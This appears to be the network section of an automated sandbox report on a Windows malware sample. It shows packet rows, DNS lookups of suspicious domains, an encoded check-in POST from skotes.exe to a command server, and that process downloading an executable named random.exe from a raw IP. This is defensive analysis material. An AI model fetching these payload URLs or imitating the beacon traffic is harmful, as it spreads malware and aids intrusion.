Dec 19, 2024 14:10:51.916388035 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.916451931 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.916582108 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.916619062 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.917236090 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.917324066 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.917396069 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.918001890 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.918121099 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.918163061 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.918920040 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.919018030 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.919584990 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.919624090 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.919715881 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.920146942 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.920382023 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.920551062 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.920597076 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.921034098 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.921199083 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.921243906 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.921842098 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.921890020 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.922519922 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.922607899 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.922722101 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.922786951 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.923389912 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.923502922 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.923841000 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.924144030 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.924269915 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.924320936 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.924952984 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.925087929 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.925136089 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.925781012 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.925853014 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.926434994 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.926482916 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.926548958 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.927004099 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.927222013 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.927355051 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.927391052 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.927920103 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.928107023 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.928145885 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.928739071 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.928862095 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.928905964 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.929533005 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.929713964 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.929949045 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.930267096 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.930387020 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.930510044 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.931022882 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.931158066 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.931202888 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.931804895 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.931929111 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.932010889 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.932555914 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.932738066 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.932781935 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.933331013 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.933470011 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.933521986 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.934082985 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.934273958 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.934379101 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.934890032 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.935031891 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.935071945 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.935642004 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.935682058 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.935739040 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.936382055 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.936521053 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.936561108 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.937195063 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.937351942 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.937396049 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.937952995 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.938069105 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.938388109 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.938694954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.939001083 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.939095974 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.939476013 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.939573050 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.939642906 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.940207958 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.940330982 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.940372944 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.940965891 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.941093922 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.941131115 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.941752911 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.941894054 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.941948891 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.942516088 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.942637920 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.942675114 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.943293095 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.943443060 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.943481922 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.944039106 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.944158077 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.944220066 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.944816113 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.944941044 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.945038080 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.945605040 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.945683956 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.945810080 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.946362972 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.946471930 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.946513891 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.947098017 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.947211027 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.947249889 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.947875023 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.948009014 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.948138952 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.948693991 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.948806047 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.948841095 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.949398994 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.949589968 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.949628115 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.950350046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.950373888 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.950515032 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.950933933 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.951062918 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.951236010 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.951704979 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.951814890 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.951863050 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.952512026 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.952639103 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.952876091 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.953327894 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.953466892 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.953507900 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.954026937 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.954081059 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.954124928 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.954772949 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.954850912 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.954890966 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.955550909 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.955637932 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.955792904 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.956342936 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.956435919 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.956480980 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:51.957110882 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:51.957344055 CET	80	49856	176.53.146.212	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 14:10:24.212973118 CET	192.168.2.4	1.1.1.1	0x5718	Standard query (0)	cheapptaxysu.click	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:10:36.568495989 CET	192.168.2.4	1.1.1.1	0xe1f2	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:10:36.568594933 CET	192.168.2.4	1.1.1.1	0x23f0	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 19, 2024 14:10:41.006691933 CET	192.168.2.4	1.1.1.1	0x75d2	Standard query (0)	home.fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:10:41.006859064 CET	192.168.2.4	1.1.1.1	0xc545	Standard query (0)	home.fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 14:10:45.599760056 CET	192.168.2.4	1.1.1.1	0x6b5	Standard query (0)	home.fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:10:45.599828005 CET	192.168.2.4	1.1.1.1	0x8d6c	Standard query (0)	home.fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 14:10:59.639725924 CET	192.168.2.4	1.1.1.1	0xb2f0	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:10:59.971587896 CET	192.168.2.4	1.1.1.1	0x1e17	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:03.438414097 CET	192.168.2.4	1.1.1.1	0x8d28	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:06.374636889 CET	192.168.2.4	1.1.1.1	0x8fbe	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:10.927145004 CET	192.168.2.4	1.1.1.1	0x8b54	Standard query (0)	fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:10.927405119 CET	192.168.2.4	1.1.1.1	0x240f	Standard query (0)	fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 14:11:11.407157898 CET	192.168.2.4	1.1.1.1	0x35f8	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:14.280563116 CET	192.168.2.4	1.1.1.1	0x8d90	Standard query (0)	fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:14.280678988 CET	192.168.2.4	1.1.1.1	0x2618	Standard query (0)	fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 14:11:20.171608925 CET	192.168.2.4	1.1.1.1	0xeda1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:20.171731949 CET	192.168.2.4	1.1.1.1	0xb630	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 19, 2024 14:11:22.520489931 CET	192.168.2.4	1.1.1.1	0xba19	Standard query (0)	fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:22.520540953 CET	192.168.2.4	1.1.1.1	0x54de	Standard query (0)	fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 14:11:25.480330944 CET	192.168.2.4	1.1.1.1	0xbf5e	Standard query (0)	home.fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:25.480331898 CET	192.168.2.4	1.1.1.1	0x2356	Standard query (0)	home.fivetk5vt.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 14:10:24.507627964 CET	1.1.1.1	192.168.2.4	0x5718	No error (0)	cheapptaxysu.click		172.67.177.88	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:10:24.507627964 CET	1.1.1.1	192.168.2.4	0x5718	No error (0)	cheapptaxysu.click		104.21.67.146	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:10:37.091028929 CET	1.1.1.1	192.168.2.4	0xe1f2	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:10:37.091028929 CET	1.1.1.1	192.168.2.4	0xe1f2	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:10:41.641827106 CET	1.1.1.1	192.168.2.4	0x75d2	No error (0)	home.fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:10:45.740096092 CET	1.1.1.1	192.168.2.4	0x6b5	No error (0)	home.fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:10:59.954628944 CET	1.1.1.1	192.168.2.4	0xb2f0	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:00.367587090 CET	1.1.1.1	192.168.2.4	0x1e17	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:00.367587090 CET	1.1.1.1	192.168.2.4	0x1e17	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:03.575182915 CET	1.1.1.1	192.168.2.4	0x8d28	No error (0)	github.com		20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:06.512064934 CET	1.1.1.1	192.168.2.4	0x8fbe	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:06.512064934 CET	1.1.1.1	192.168.2.4	0x8fbe	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:06.512064934 CET	1.1.1.1	192.168.2.4	0x8fbe	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:06.512064934 CET	1.1.1.1	192.168.2.4	0x8fbe	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:11.230607033 CET	1.1.1.1	192.168.2.4	0x8b54	No error (0)	fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:11.735377073 CET	1.1.1.1	192.168.2.4	0x35f8	No error (0)	aspecteirs.lat		104.21.66.85	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:11.735377073 CET	1.1.1.1	192.168.2.4	0x35f8	No error (0)	aspecteirs.lat		172.67.157.253	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:14.418513060 CET	1.1.1.1	192.168.2.4	0x8d90	No error (0)	fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:20.308476925 CET	1.1.1.1	192.168.2.4	0xeda1	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:20.308725119 CET	1.1.1.1	192.168.2.4	0xb630	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 19, 2024 14:11:22.660320997 CET	1.1.1.1	192.168.2.4	0xba19	No error (0)	fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 14:11:25.617502928 CET	1.1.1.1	192.168.2.4	0xbf5e	No error (0)	home.fivetk5vt.top		176.53.146.212	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	185.215.113.43	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:05.744982004 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 14:10:07.087162018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49748	185.215.113.43	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:08.719027996 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 38 37 38 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2878B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 19, 2024 14:10:10.098995924 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 62 39 0d 0a 20 3c 63 3e 31 30 31 37 36 30 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 63 37 36 39 31 34 61 34 39 62 61 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 37 36 30 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 63 37 61 39 64 35 31 34 33 61 36 35 61 65 30 30 33 35 36 34 64 35 62 39 63 64 33 65 39 35 36 62 37 62 35 64 31 23 31 30 31 37 36 31 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 37 36 31 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 [TRUNCATED] Data Ascii: 5b9 <c>1017608001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdc76914a49ba1cf64d4a485a9592e100b7#1017609001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#1017610001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1017611001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1017612001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709e5b03ac52ea484b411b9dc4e1#1017613001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#1017614001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1017615001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1017616001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1017617001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1017618001+ [TRUNCATED]
Dec 19, 2024 14:10:10.099318981 CET	124	IN	Data Raw: 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 37 36 31 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 Data Ascii: 7e8f8e6b1ca72dd534db057eb410a494d9d#1017619001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce90241545
Dec 19, 2024 14:10:10.330813885 CET	296	IN	Data Raw: 30 23 31 30 31 37 36 32 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 Data Ascii: 0#1017620001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1017621001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1017622001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49754	31.41.244.11	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:10.455693960 CET	61	OUT	GET /files/wicked/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 14:10:11.782476902 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:11 GMT Content-Type: application/octet-stream Content-Length: 1114112 Last-Modified: Thu, 19 Dec 2024 03:43:46 GMT Connection: keep-alive ETag: "67639672-110000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 